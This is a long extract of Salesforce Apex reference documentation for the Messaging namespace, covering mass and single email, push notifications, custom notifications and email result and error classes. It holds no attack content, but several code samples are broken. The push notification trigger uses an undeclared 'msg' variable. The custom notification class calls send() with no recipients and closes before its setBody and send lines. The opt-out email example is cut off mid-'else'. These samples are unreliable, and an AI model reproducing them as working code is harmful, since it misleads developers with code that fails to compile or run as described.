**Usage**
MassEmailMessage extends Email and inherits all of its methods. All base email (Email class) methods are also available to the MassEmailMessage objects.

IN THIS SECTION:
- MassEmailMessage Constructors
- MassEmailMessage Methods

SEE ALSO:
- Email Class (Base Email Methods)

**MassEmailMessage Constructors**
The following are constructors for MassEmailMessage.
IN THIS SECTION:

MassEmailMessage()

Creates a new instance of the Messaging.MassEmailMessage class.

MassEmailMessage()

Creates a new instance of the Messaging.MassEmailMessage class.

Signature

public MassEmailMessage()

MassEmailMessage Methods

The following are methods for MassEmailMessage. All are instance methods. All base email (Email class) methods are also available to the MassEmailMessage objects. These methods are described in Email Class (Base Email Methods).

IN THIS SECTION:

setDescription(description)

The description of the email.

setTargetObjectIds(targetObjectIds)

A list of IDs of the contacts, leads, or users to which the email will be sent. The IDs you specify set the context and ensure that merge fields in the template contain the correct data. The objects must be of the same type (all contacts, all leads, or all users).

setWhatIds(whatIds)

Optional. If you specify a list of contacts for the targetObjectIds field, you can specify a list of whatIds as well. This helps to further ensure that merge fields in the template contain the correct data.

setDescription(description)

The description of the email.

Signature

public Void setDescription(String description)

Parameters

description

Type: String

Return Value

Type: Void

setTargetObjectIds(targetObjectIds)

A list of IDs of the contacts, leads, or users to which the email will be sent. The IDs you specify set the context and ensure that merge fields in the template contain the correct data. The objects must be of the same type (all contacts, all leads, or all users).
Signature

```java
public Void setTargetObjectIds(ID[] targetObjectIds)
```

Parameters

`targetObjectIds`
Type: `ID[]`

Return Value

Type: `Void`

Usage

You can list multiple IDs per email. If you specify a value for the `targetObjectIds` field, optionally specify a `whatId` as well to set the email context to a user, contact, or lead. This ensures that merge fields in the template contain the correct data. Each ID counts against the sending organization's daily mass email limit.

Do not specify the IDs of records that have the `Email Opt Out` option selected.

All emails must have a recipient value in at least one of the following fields:

- `toAddresses`
- `ccAddresses`
- `bccAddresses`
- `targetObjectId`

`setWhatIds(whatIds)`

Optional. If you specify a list of contacts for the `targetObjectIds` field, you can specify a list of `whatIds` as well. This helps to further ensure that merge fields in the template contain the correct data.

Signature

```java
public Void setWhatIds(ID[] whatIds)
```

Parameters

`whatIds`
Type: `ID[]`

Return Value

Type: `Void`

Usage

The values must be one of the following types:

- `Contract`
- `Case`
- `Opportunity`
InboundEmail.Header Class

An InboundEmail object stores RFC 2822 email header information in an InboundEmail.Header object with the following properties.

**Namespace**

**Messaging**

**InboundEmail.Header Properties**

The following are properties for `InboundEmail.Header`.

### IN THIS SECTION:

- **name**
  - The name of the header parameter, such as `Date` or `Message-ID`.
- **value**
  - The value of the header.

**name**

The name of the header parameter, such as `Date` or `Message-ID`.

Signature

```java
public String name {get; set;}
```

**Property Value**

**Type:** `String`

**value**

The value of the header.

Signature

```java
public String value {get; set;}
```

**Property Value**

**Type:** `String`
PushNotification Class

PushNotification is used to configure push notifications and send them from an Apex trigger.

Namespace

Messaging

Example

This sample Apex trigger sends push notifications to the connected app named Test_App, which corresponds to a mobile app on iOS mobile clients. The trigger fires after cases have been updated and sends the push notification to two users: the case owner and the user who last modified the case.

```
trigger caseAlert on Case (after update) {

    for(Case cs : Trigger.New) {

        // Instantiating a notification

        // Assembling the necessary payload parameters for Apple.
        // Apple params are:
        // (<alert text>,<alert sound>,<badge count>,
        // <free-form data>)
        // This example doesn't use badge count or free-form data.
        // The number of notifications that haven't been acted
        // upon by the intended recipient is best calculated
        // at the time of the push. This timing helps
        // ensure accuracy across multiple target devices.
        Map<String, Object> payload = Messaging.PushNotificationPayload.apple('Case ' + cs.CaseNumber + ' status changed to: ' + cs.Status, '', null, null);

        // Adding the assembled payload to the notification
        msg.setPayload(payload);

        // Getting recipient users
        String userId1 = cs.OwnerId;
        String userId2 = cs.LastModifiedById;

        // Adding recipient users to list
        Set<String> users = new Set<String>();
        users.add(userId1);
        users.add(userId2);

        // Sending the notification to the specified app and users.
        // Here we specify the API name of the connected app.
        msg.send('Test_App', users);
    }
}
```
IN THIS SECTION:

PushNotification Constructors

PushNotification Methods

PushNotification Constructors

The following are the constructors for PushNotification.

IN THIS SECTION:

PushNotification()

Creates a new instance of the Messaging.PushNotification class.

Signature

```java
public PushNotification()
```

PushNotification(payload)

Creates a new instance of the Messaging.PushNotification class using the specified payload parameters as key-value pairs. When you use this constructor, you don’t need to call setPayload to set the payload.

Signature

```java
public PushNotification(Map<String,Object> payload)
```

Parameters

`payload`

Type: `Map<String, Object>`

The payload, expressed as a map of key-value pairs.

PushNotification Methods

The following are the methods for PushNotification. All are global methods.

IN THIS SECTION:

send(application, users)

Sends a push notification message to the specified users.
**setPayload(payload)**
Sets the payload of the push notification message.

**setTtl(ttl)**
Reserved for future use.

**send(application, users)**
Sends a push notification message to the specified users.

Signature
```
public void send(String application, Set<String> users)
```

Parameters

`application`
Type: **String**
The connected app API name. This corresponds to the mobile client app the notification should be sent to.

`users`
Type: **Set**
A set of user IDs that correspond to the users the notification should be sent to.

Example
See the [Push Notification Example](#).

**setPayload(payload)**
Sets the payload of the push notification message.

Signature
```
public void setPayload(Map<String, Object> payload)
```

Parameters

`payload`
Type: **Map<String, Object>**
The payload, expressed as a map of key-value pairs.

To create the payload for an Apple device, see the [PushNotificationPayload Class](#).

Example
See the [Push Notification Example](#).
setTtl(ttl)
Reserved for future use.

Signature
public void setTtl(Integer ttl)

Parameters
ttl
Type: Integer
Reserved for future use.

PushNotificationPayload Class
Contains methods to create the notification message payload for an Apple device.

Namespace
Messaging

Usage
Apple has specific requirements for the notification payload, and this class has helper methods to create the payload. For more information on Apple's payload parameters, search for “Apple Push Notification Service” at https://developer.apple.com/library/mac/documentation/.

Example
See the Push Notification Example.

IN THIS SECTION:
PushNotificationPayload Methods

PushNotificationPayload Methods
The following are the methods for PushNotificationPayload. All are global static methods.

IN THIS SECTION:
apple(alert, sound, badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.

apple(alertBody, actionLocKey, locKey, locArgs, launchImage, sound, badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.

apple(alert, sound, badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.
public static Map<String, Object> apple(String alert, String sound, Integer badgeCount, Map<String, Object> userData)

Parameters

alert
Type: String
Notification message to be sent to the mobile client.

sound
Type: String
Name of a sound file to be played as an alert. This sound file should be in the mobile application bundle.

badgeCount
Type: Integer
Number to display as the badge of the application icon.

data
Type: Map<String, Object>
Map of key-value pairs that contains any additional data used to provide context for the notification. For example, it can contain IDs of the records that caused the notification to be sent. The mobile client app can use these IDs to display these records.

Return Value

Type: Map<String, Object>
Returns a formatted payload that includes all of the specified arguments.

Usage
To generate a valid payload, you must provide a value for at least one of the following parameters: alert, sound, badgeCount.

Example
See the Push Notification Example.

apple(alertBody, actionLocKey, locKey, locArgs, launchImage, sound, badgeCount, userData)
Helper method that creates a valid Apple payload from the specified arguments.

Signature

public static Map<String, Object> apple(String alertBody, String actionLocKey, String locKey, String[] locArgs, String launchImage, String sound, Integer badgeCount, Map<String, Object> userData)
Parameters

alertBody
  Type: String
  Text of the alert message.

actionLocKey
  Type: String
  If a value is specified for the actionLocKey argument, an alert with two buttons is displayed. The value is a key to get a localized string in a Localizable.strings file to use for the right button’s title.

locKey
  Type: String
  Key to an alert-message string in a Localizable.strings file for the current localization.

locArgs
  Type: List<String>
  Variable string values to appear in place of the format specifiers in locKey.

launchImage
  Type: String
  File name of an image file in the application bundle.

sound
  Type: String
  Name of a sound file to be played as an alert. This sound file should be in the mobile application bundle.

badgeCount
  Type: Integer
  Number to display as the badge of the application icon.

userData
  Type: Map<String, Object>
  Map of key-value pairs that contains any additional data used to provide context for the notification. For example, it can contain IDs of the records that caused the notification to be sent. The mobile client app can use these IDs to display these records.

Return Value
  Type: Map<String, Object>
  Returns a formatted payload that includes all of the specified arguments.

Usage
  To generate a valid payload, you must provide a value for at least one of the following parameters: alert, sound, badgeCount.

CustomNotification Class

CustomNotification is used to create, configure, and send custom notifications from Apex code.
Namespace

Messaging

Usage

CustomNotification allows two approaches to creating and configuring a custom notification.

- Create an instance with the default constructor, and then set notification attributes using the various setter methods.
- Create an instance and configure notification parameters at the same time using the parameterized constructor.

Once the custom notification is configured, call `send()` to send the notification.

Notification Target

The notification target is used by the receiving client application to navigate to an appropriate record or page when a user responds to a notification. For example, when a user is notified that a record was updated, responding to the notification can open the relevant record.

You must specify a target for a notification. The target can be specified using either the `targetID` or the `targetPageRef` attribute. Neither attribute is required, but if both are omitted, `send()` throws an exception. If there’s no natural target for a notification, set the `targetID` to a dummy value, such as `000000000000000AAA`. A dummy value prevents the exception, and also prevents automatic navigation when responding to the notification in the client app.

You can set both `targetID` and `targetPageRef` in the same notification. The client app that receives the notification determines which target, if any, to use when responding to the notification.

⚠️ Important: Before Winter '21 you could set only a target record (`targetID`) for a notification. Most client applications expect to find a `targetID` in the notification payload. If you can’t update a client app to handle notifications that include only a `targetPageRef`, set the `targetID` to a dummy value.

Execution Context and Notification Permissions

By default Apex code executes in system mode, and doesn’t require user permissions to send notifications with `CustomNotification`. However, if your Apex code runs in a user context—for example, by executing anonymous Apex in the Developer Console—the Send Custom Notifications user permission is checked, and `send()` fails if you don’t have the required permission.

Example

This example Apex class provides a static method for sending a custom notification to a recipient list. Call this method from a trigger, flow, or wherever you want to send a custom notification from Apex.

```apex
public without sharing class CustomNotificationFromApex {
    public static void notifyUsers(Set<String> recipientsIds, String targetId) {
        // Get the Id for our custom notification type
        CustomNotificationType notificationType =
            [SELECT Id, DeveloperName
             FROM CustomNotificationType
             WHERE DeveloperName='Custom_Notification'];

        // Create a new custom notification
        Messaging.CustomNotification notification = new Messaging.CustomNotification();

        // Set the contents for the notification
        notification.setTitle('Apex Custom Notification');

        // Call send to send the notification
        notification.send();
    }
}
```
notification.setBody('The notifications are coming from INSIDE the Apex!');

// Set the notification type and target
notification.setNotificationTypeId(notificationType.Id);
notification.setTargetId(targetId);

// Actually send the notification
try {
    notification.send(recipientsIds);
} catch (Exception e) {
    System.debug('Problem sending notification: ' + e.getMessage());
}
Signature

```java
public CustomNotification()
```

**CustomNotification(typeId, sender, title, body, targetId, targetPageRef)**

Creates a new instance of the `Messaging.CustomNotification` class using the specified parameters. When you use this constructor, you don’t need to call the various setter methods to define the custom notification attributes.

Signature

```java
public CustomNotification(String typeId, String sender, String title, String body, String targetId, String targetPageRef)
```

Parameters

- **typeId**
  - Type: `String`
  - The ID of the Custom Notification Type being used for the notification.

- **sender**
  - Type: `String`
  - The User ID of the sender of the notification.

- **title**
  - Type: `String`
  - The title of the notification, as it will be seen by recipients. Maximum characters: 250.

- **body**
  - Type: `String`
  - The body of the notification, as it will be seen by recipients. Maximum characters: 750.

- **targetId**
  - Type: `String`
  - The Record ID for the target record of the notification.
  - You must specify either a `targetId` or a `targetPageRef`. See Custom Notification Usage.

- **targetPageRef**
  - Type: `String`
  - The `PageReference` for the navigation target of the notification. To see how to specify the target using JSON, see `pageReference`.
  - You must specify either a `targetId` or a `targetPageRef`. See Custom Notification Usage.

**CustomNotification Methods**

The following are methods for `CustomNotification`.

IN THIS SECTION:

- `send(users)`
  - Sends a custom notification to the specified users.
setNotificationTypeId(id)
Sets the type of the custom notification.

setTitle(title)
Sets the title of the custom notification.

setBody(body)
Sets the body of the custom notification.

setSenderId(id)
Sets the sender of the custom notification.

setTargetId(targetId)
Sets the target record of the custom notification.

setTargetPageRef(pageRef)
Sets the target page of the custom notification.

**send(users)**
Sends a custom notification to the specified users.

Signature

```
public void send(Set<String> users)
```

Parameters

users
Type: Set<String>
Required. A set of recipient IDs. Each recipient ID corresponds to a recipient or recipient type that the notification should be sent to. Valid recipient or recipient type values are:

- **UserId** — The notification is sent to this user, if this user is active.
- **AccountId** — The notification is sent to all active users who are members of this account’s Account Team.
  
  ![](note)
  Note: This recipient type is valid if account teams are enabled for your org.

- **OpportunityId** — The notification is sent to all active users who are members of this opportunity’s Opportunity Team.
  
  ![](note)
  Note: This recipient type is valid if team selling is enabled for your org.

- **GroupId** — The notification is sent to all active users who are members of this group.
- **QueueId** — The notification is sent to all active users who are members of this queue.

Values can be combined in a set, up to the maximum of 500 values.

Return Value

Type: void

Example

See the [Custom Notification Example](#).
**setNotificationTypeId(id)**
Sets the type of the custom notification.

Signature

```java
public void setNotificationTypeId(String id)
```

Parameters

- **id**
  - Type: `String`
  - The ID of the Custom Notification Type being used for the notification.
  - A notification type is required to send a custom notification. See Custom Notification Usage.

Return Value

Type: `void`

Example

See the Custom Notification Example.

**setTitle(title)**
Sets the title of the custom notification.

Signature

```java
public void setTitle(String title)
```

Parameters

- **title**
  - Type: `String`
  - The title of the notification, as it will be seen by recipients. Maximum characters: 250.
  - A title is required to send a custom notification. See Custom Notification Usage.

Return Value

Type: `void`

Example

See the Custom Notification Example.

**setBody(body)**
Sets the body of the custom notification.
Signature

public void setBody(String body)

Parameters

body
  Type: String
  The body of the notification, as it will be seen by recipients. Maximum characters: 750.
  A body is required to send a custom notification. See Custom Notification Usage.

Return Value

Type: void

Example

See the Custom Notification Example.

**setSenderId(id)**

Sets the sender of the custom notification.

Signature

public void setSenderId(String id)

Parameters

id
  Type: String
  The User ID of the sender of the notification.
  Setting a sender is optional. See Custom Notification Usage.

Return Value

Type: void

Example

See the Custom Notification Example.

**setTargetId(targetId)**

Sets the target record of the custom notification.

Signature

public void setTargetId(String targetId)
Parameters

targetId
  Type: String
  The Record ID for the target record of the notification.
  Either a targetID or a targetPageRef is required to send a custom notification. See Custom Notification Usage.

Return Value
Type: void

Example
See the Custom Notification Example.

setTargetPageRef(pageRef)
Sets the target page of the custom notification.

Signature
public void setTargetPageRef(String pageRef)

Parameters

pageRef
  Type: String
  The PageReference for the navigation target of the notification.
  Either a targetID or a targetPageRef is required to send a custom notification. See Custom Notification Usage.

Return Value
Type: void

Example
See the Custom Notification Example.

RenderEmailTemplateBodyResult Class
Contains the results for rendering email templates.

Namespace
Messaging

IN THIS SECTION:
  RenderEmailTemplateBodyResult Methods
RenderEmailTemplateBodyResult Methods

The following are methods for RenderEmailTemplateBodyResult.

IN THIS SECTION:
- getErrors()
  If an error occurred during the renderEmailTemplate method, a RenderEmailTemplateError object is returned.
- getMergedBody()
  Returns the rendered body text with merge field references replaced with the corresponding record data.
- getSuccess()
  Indicates whether the operation was successful.

getErrors()

If an error occurred during the renderEmailTemplate method, a RenderEmailTemplateError object is returned.

Signature

public List<Messaging.RenderEmailTemplateError> getErrors()

Return Value
Type: List<Messaging.RenderEmailTemplateError>

getMergedBody()

Returns the rendered body text with merge field references replaced with the corresponding record data.

Signature

public String getMergedBody()

Return Value
Type: String

getSuccess()

Indicates whether the operation was successful.

Signature

public Boolean getSuccess()

Return Value
Type: Boolean
RenderEmailTemplateError Class

Represents an error that the RenderEmailTemplateBodyResult object can contain.

Namespace

Messaging

IN THIS SECTION:

RenderEmailTemplateError Methods

RenderEmailTemplateError Methods

The following are methods for RenderEmailTemplateError.

IN THIS SECTION:

getFieldName() Returns the name of the merge field in the error.

getMessage() Returns a message describing the error.

getOffset() Returns the offset within the supplied body text where the error was discovered. If the offset cannot be determined, -1 is returned.

getStatusCode() Returns a Salesforce API status code.

getFieldName()

Returns the name of the merge field in the error.

Signature

public String getFieldName()

Return Value

Type: String

getMessage()

Returns a message describing the error.

Signature

public String getMessage()

Return Value

Type: String
**getOffset()**

Returns the offset within the supplied body text where the error was discovered. If the offset cannot be determined, -1 is returned.

Signature

```java
public Integer getOffset()
```

Return Value

Type: Integer

**getStatusCode()**

Returns a Salesforce API status code.

Signature

```java
public System.StatusCode getStatusCode()
```

Return Value

Type: System.StatusCode

**SendEmailError Class**

Represents an error that the SendEmailResult object may contain.

**Namespace**

Messaging

**SendEmailError Methods**

The following are methods for SendEmailError. All are instance methods.

IN THIS SECTION:

- **getFields()**
  
  A list of one or more field names. Identifies which fields in the object, if any, affected the error condition.

- **getMessage()**
  
  The text of the error message.

- **getStatusCode()**
  
  Returns a code that characterizes the error.

- **getTargetObjectId()**
  
  The ID of the target record for which the error occurred.

**getFields()**

A list of one or more field names. Identifies which fields in the object, if any, affected the error condition.
Signature
public String[] getFields()

Return Value
Type: String[]

getMessage()
The text of the error message.

Signature
public String getMessage()

Return Value
Type: String

getStatusCode()
Returns a code that characterizes the error.

Signature
public System.StatusCode getStatusCode()

Return Value
Type: System.StatusCode

Usage
The full list of status codes is available in the WSDL file for your organization. For more information about accessing the WSDL file for your organization, see “Downloading Salesforce WSDLs and Client Authentication Certificates” in the Salesforce online help.

getTargetObjectId()
The ID of the target record for which the error occurred.

Signature
public String getTargetObjectId()

Return Value
Type: String

SendEmailResult Class
Contains the result of sending an email message.
Namespace
Messaging

SendEmailResult Methods
The following are methods for SendEmailResult. All are instance methods.

IN THIS SECTION:
getErrors()
If an error occurred during the sendEmail method, a SendEmailError object is returned.

isSuccess()
Indicates whether the email was successfully submitted for delivery (true) or not (false). Even if isSuccess is true, it does not mean the intended recipients received the email, as there could have been a problem with the email address or it could have bounced or been blocked by a spam blocker.

getErrors()
If an error occurred during the sendEmail method, a SendEmailError object is returned.

Signature
public SendEmailError[] getErrors()

Return Value
Type: Messaging.SendEmailError[]

isSuccess()
Indicates whether the email was successfully submitted for delivery (true) or not (false). Even if isSuccess is true, it does not mean the intended recipients received the email, as there could have been a problem with the email address or it could have bounced or been blocked by a spam blocker.

Signature
public Boolean isSuccess()

Return Value
Type: Boolean

SingleEmailMessage Methods
Contains methods for sending single email messages.

Namespace
Messaging
Usage

SingleEmailMessage extends Email and inherits all of its methods. All base email (Email class) methods are also available to the SingleEmailMessage objects. Emails sent via SingleEmailMessage count against the sending organization's daily single email limit.

Email properties are readable and writable. Each property has corresponding setter and getter methods. For example, the toAddresses() property is equivalent to the setToAddresses() and getToAddresses() methods. Only the setter methods are documented. However, the getTemplateName() method doesn't have an equivalent setter method; use setTemplateId() to specify a template name.

IN THIS SECTION:
  - SingleEmailMessage Constructors
  - SingleEmailMessage Methods

SEE ALSO:
  - Email Class (Base Email Methods)

SingleEmailMessage Constructors

The following are constructors for SingleEmailMessage.

IN THIS SECTION:
  - SingleEmailMessage()
    - Creates a new instance of the Messaging.SingleEmailMessage class.

SingleEmailMessage Methods

The following are methods for SingleEmailMessage. All are instance methods. All base email (Email class) methods are also available to the SingleEmailMessage objects. These methods are described in Email Class (Base Email Methods).

IN THIS SECTION:
  - getTemplateName()
    - The name of the template used to create the email.
  - setBccAddresses(bccAddresses)
    - Optional. A list of blind carbon copy (BCC) addresses or object IDs of the contacts, leads, and users you're sending the email to. The maximum size for this field is 4,000 bytes. The maximum total of toAddresses, ccAddresses, and bccAddresses per email is 150. All recipients in these three fields count against the limit for email sent using Apex or the API.
setCcAddresses(ccAddresses)
Optional. A list of carbon copy (CC) addresses or object IDs of the contacts, leads, and users you’re sending the email to. The maximum size for this field is 4,000 bytes. The maximum total of toAddresses, ccAddresses, and bccAddresses per email is 150. All recipients in these three fields count against the limit for email sent using Apex or the API.

setCharset(characterSet)
Optional. The character set for the email. If this value is null, the user’s default value is used.

setDocumentAttachments(documentIds)
Optional. A list containing the ID of each document object you want to attach to the email.

setEntityAttachments(ids)
Optional. Array of IDs of Document, ContentVersion, or Attachment items to attach to the email.

setFileAttachments(fileNames)
Optional. A list containing the file names of the binary and text files you want to attach to the email.

setHtmlBody(htmlBody)
Optional. The HTML version of the email, specified by the sender. The value is encoded according to the specification associated with the organization. Specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

setInReplyTo(parentMessageIds)
Sets the optional In-Reply-To field of the outgoing email. This field identifies the email or emails to which this email is a reply (parent emails).

setOptOutPolicy(emailOptOutPolicy)
Optional. If you added recipients by ID instead of email address and the Email Opt Out option is set, this method determines the behavior of the sendEmail() call. If you add recipients by their email addresses, the opt-out settings for those recipients aren’t checked and those recipients always receive the email.

setPlainTextBody(plainTextBody)
Optional. The text version of the email, specified by the sender. Specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

setOrgWideEmailAddressId(emailAddressId)
Optional. The ID of the organization-wide email address associated with the outgoing email. The object’s DisplayName field cannot be set if the setSenderDisplayName field is already set.

setReferences(references)
Optional. The References field of the outgoing email. Identifies an email thread. Contains the parent emails’ References and message IDs, and possibly the In-Reply-To fields.

setSubject(subject)
Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value.

setTargetObjectId(targetObjectId)
Required if using a template, optional otherwise. The ID of the contact, lead, or user to which the email will be sent. The ID you specify sets the context and ensures that merge fields in the template contain the correct data.

setTemplateId(templateId)
Required if using a template, optional otherwise. The ID of the template used to create the email.
setToAddresses(toAddresses)
Optional. A list of email addresses or object IDs of the contacts, leads, and users you're sending the email to. The maximum size for this field is 4,000 bytes. The maximum total of toAddresses, ccAddresses, and bccAddresses per email is 150. All recipients in these three fields count against the limit for email sent using Apex or the API.

setTreatBodiesAsTemplate(treatAsTemplate)
Optional. If set to true, the subject, plain text, and HTML text bodies of the email are treated as template data. The merge fields are resolved using the renderEmailTemplate method. Default is false.

setTreatTargetObjectAsRecipient(treatAsRecipient)
Optional. If set to true, the targetObjectId (a contact, lead, or user) is the recipient of the email. If set to false, the targetObjectId is supplied as the WhoId field for template rendering but isn't a recipient of the email. The default is true.

setWhatId(whatId)
If you specify a contact for the targetObjectId field, you can specify an optional whatId as well. This helps to further ensure that merge fields in the template contain the correct data.

getTemplateName()
The name of the template used to create the email.

Signature
public STRING getTemplateName()

Return Value
Type: String

Usage
There is no equivalent setter method for getTemplateName(). If the email didn't use a template, getTemplateName() returns nothing. If you use setTemplateId(), and then call getTemplateName(), the template name associated to the template ID is returned.

setBccAddresses(bccAddresses)
Optional. A list of blind carbon copy (BCC) addresses or object IDs of the contacts, leads, and users you're sending the email to. The maximum size for this field is 4,000 bytes. The maximum total of toAddresses, ccAddresses, and bccAddresses per email is 150. All recipients in these three fields count against the limit for email sent using Apex or the API.

Signature
public Void setBccAddresses(String[] bccAddresses)

Parameters
bccAddresses
Type: String[]
Return Value
Type: Void

Usage
All emails must have a recipient value in at least one of the following fields:
- toAddresses
- ccAddresses
- bccAddresses
- targetObjectId

If the BCC compliance option is set at the organization level, the user cannot add BCC addresses on standard messages. The following error code is returned: BCC_NOT_ALLOWED_IF_BCC_COMPLIANCE_ENABLED. Contact your Salesforce representative for information on BCC compliance.

**setCcAddresses(ccAddresses)**

Optional. A list of carbon copy (CC) addresses or object IDs of the contacts, leads, and users you’re sending the email to. The maximum size for this field is 4,000 bytes. The maximum total of toAddresses, ccAddresses, and bccAddresses per email is 150. All recipients in these three fields count against the limit for email sent using Apex or the API.

Signature
```
public Void setCcAddresses(String[] ccAddresses)
```

Parameters
- **ccAddresses**
  Type: String[]

Return Value
Type: Void

Usage
All emails must have a recipient value in at least one of the following fields:
- toAddresses
- ccAddresses
- bccAddresses
- targetObjectId

**setCharset(characterSet)**

Optional. The character set for the email. If this value is null, the user’s default value is used.

Signature
```
public Void setCharset(String characterSet)
```
Parameters

**characterSet**
Type: String

Return Value
Type: Void

**setDocumentAttachments(documentIds)**

*Deprecated. Use setEntityAttachments() instead.* Optional. A list containing the ID of each document object you want to attach to the email.

Signature

```java
public Void setDocumentAttachments(ID[] documentIds)
```

Parameters

documentIds
Type: ID[]

Return Value
Type: Void

Usage
You can attach multiple documents as long as the total size of all attachments does not exceed 10 MB.

**setEntityAttachments(ids)**

Optional. Array of IDs of Document, ContentVersion, or Attachment items to attach to the email.

Signature

```java
public void setEntityAttachments(List<String> ids)
```

Parameters

ids
Type: List<String>

Return Value
Type: void

**setFileAttachments(fileNames)**

Optional. A list containing the file names of the binary and text files you want to attach to the email.
Signature
public Void setFileAttachments(EmailFileAttachment[] fileNames)

Parameters
fileNames
Type: Messaging.EmailFileAttachment[]

Return Value
Type: Void

Usage
You can attach multiple files as long as the total size of all attachments does not exceed 10 MB.

**setHtmlBody(htmlBody)**

Optional. The HTML version of the email, specified by the sender. The value is encoded according to the specification associated with the organization. Specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

Signature
public Void setHtmlBody(String htmlBody)

Parameters
htmlBody
Type: String

Return Value
Type: Void

**setInReplyTo(parentMessageIds)**

Sets the optional In-Reply-To field of the outgoing email. This field identifies the email or emails to which this email is a reply (parent emails).

Signature
public Void setInReplyTo(String parentMessageIds)

Parameters
parentMessageIds
Type: String
Contains one or more parent email message IDs.
Return Value
Type: Void

`setOptOutPolicy(emailOptOutPolicy)`
Optional. If you added recipients by ID instead of email address and the Email Opt Out option is set, this method determines the behavior of the `sendEmail()` call. If you add recipients by their email addresses, the opt-out settings for those recipients aren't checked and those recipients always receive the email.

Signature

```java
public void setOptOutPolicy(String emailOptOutPolicy)
```

Parameters

data.emailOptOutPolicy
Type: String

Possible values of the `emailOptOutPolicy` parameter are:

- **SEND** (default)—The email is sent to all recipients. The recipients’ Email Opt Out setting is ignored. The setting Enforce email privacy settings is ignored.
- **FILTER**—No email is sent to recipients that have the Email Opt Out option set. Emails are sent to the other recipients. The setting Enforce email privacy settings is ignored.
- **REJECT**—If any of the recipients have the Email Opt Out option set, `sendEmail()` throws an error and no email is sent. The setting Enforce email privacy settings is respected, as are the selections in the data privacy record based on the Individual object. If any of the recipients have Don't Market, Don't Process, or Forget this Individual selected, `sendEmail()` throws an error and no email is sent.

Return Value
Type: void

Example

This example shows how to send an email with the opt-out setting enforced. Recipients are specified by their IDs. The FILTER option causes the email to be sent only to recipients that haven't opted out from email. This example uses dot notation of the email properties, which is equivalent to using the set methods.

```java
Messaging.SingleEmailMessage message = new Messaging.SingleEmailMessage();
// Set recipients to two contact IDs.
// Replace IDs with valid record IDs in your org.
message.toAddresses = new String[] { '003D000000QDexS', '003D000000QDfW5' };
message.optOutPolicy = 'FILTER';
message.subject = 'Opt Out Test Message';
message.plainTextBody = 'This is the message body.';
Messaging.SingleEmailMessage[] messages =
    new List<Messaging.SingleEmailMessage> {message};
Messaging.SendEmailResult[] results = Messaging.sendEmail(messages);
if (results[0].success) {
    System.debug('The email was sent successfully.');
} else {
```
setPlainTextBody(plainTextBody)
Optional. The text version of the email, specified by the sender. Specify a value for setTemplateId, setHtmlBody, or setPlainTextBody. Or, you can define both setHtmlBody and setPlainTextBody.

Signature
public Void setPlainTextBody(String plainTextBody)

Parameters
plainTextBody
Type: String

Return Value
Type: Void

setOrgWideEmailAddressId(emailAddressId)
Optional. The ID of the organization-wide email address associated with the outgoing email. The object’s DisplayName field cannot be set if the setSenderDisplayName field is already set.

Signature
public Void setOrgWideEmailAddressId(ID emailAddressId)

Parameters
emailAddressId
Type: ID

Return Value
Type: Void

setReferences(references)
Optional. The References field of the outgoing email. Identifies an email thread. Contains the parent emails’ References and message IDs, and possibly the In-Reply-To fields.

Signature
public Void setReferences(String references)
Parameters

`references`
Type: String

Return Value
Type: Void

`setSubject(subject)`
Optional. The email subject line. If you are using an email template, the subject line of the template overrides this value.

Signature

`public Void setSubject(String subject)`

Parameters

`subject`
Type: String

Return Value
Type: Void

`setTargetObjectId(targetObjectId)`
Required if using a template, optional otherwise. The ID of the contact, lead, or user to which the email will be sent. The ID you specify sets the context and ensures that merge fields in the template contain the correct data.

Signature

`public Void setTargetObjectId(ID targetObjectId)`

Parameters

`targetObjectId`
Type: ID

Return Value
Type: Void

Usage

Do not specify the IDs of records that have the Email Opt Out option selected.

All emails must have a recipient value in at least one of the following fields:

- `toAddresses`
- `ccAddresses`
• bccAddresses
• targetObjectId

**setTemplateId(templateId)**
Required if using a template, optional otherwise. The ID of the template used to create the email.

Signature

```java
public Void setTemplateId(ID templateId)
```

Parameters

templateId
Type: ID

Return Value
Type: Void

**setToAddresses(toAddresses)**
Optional. A list of email addresses or object IDs of the contacts, leads, and users you’re sending the email to. The maximum size for this field is 4,000 bytes. The maximum total of toAddresses, ccAddresses, and bccAddresses per email is 150. All recipients in these three fields count against the limit for email sent using Apex or the API.

Signature

```java
public Void setToAddresses(String[] toAddresses)
```

Parameters

toAddresses
Type: String[]

Return Value
Type: Void

Usage
All emails must have a recipient value in at least one of the following fields:
• toAddresses
• ccAddresses
• bccAddresses
• targetObjectId
**setTreatBodiesAsTemplate(treatAsTemplate)**

Optional. If set to `true`, the subject, plain text, and HTML text bodies of the email are treated as template data. The merge fields are resolved using the `renderEmailTemplate` method. Default is `false`.

**Signature**

```java
public void setTreatBodiesAsTemplate(Boolean treatAsTemplate)
```

**Parameters**

- `treatAsTemplate`
  
  Type: `Boolean`

**Return Value**

Type: `void`

**setTreatTargetObjectAsRecipient(treatAsRecipient)**

Optional. If set to `true`, the `targetObjectId` (a contact, lead, or user) is the recipient of the email. If set to `false`, the `targetObjectId` is supplied as the `WhoId` field for template rendering but isn’t a recipient of the email. The default is `true`.

**Signature**

```java
public void setTreatTargetObjectAsRecipient(Boolean treatAsRecipient)
```

**Parameters**

- `treatAsRecipient`
  
  Type: `Boolean`

**Return Value**

Type: `void`

**Usage**

**Note:** You can set TO, CC, and BCC addresses using the email messaging methods regardless of whether a template is used for the email or the target object is a recipient.

**setWhatId(whatId)**

If you specify a contact for the `targetObjectId` field, you can specify an optional `whatId` as well. This helps to further ensure that merge fields in the template contain the correct data.

**Signature**

```java
public Void setWhatId(ID whatId)
```
Parameters
whatId
  Type: ID

Return Value
Type: Void

Usage
The value must be one of the following types:
• Account
• Asset
• Campaign
• Case
• Contract
• Opportunity
• Order
• Product
• Solution
• Custom

Metadata Namespace
The Metadata namespace provides classes and methods for working with custom metadata in Salesforce. Salesforce uses metadata types and components to represent org configuration and customization. Metadata is used for org settings that admins control or configuration information applied by installed apps and packages. Use the classes in the Metadata namespace to access metadata from within Apex code.

Metadata access in Apex is available for Apex classes using API version 40.0 and later. For more information, see Metadata.

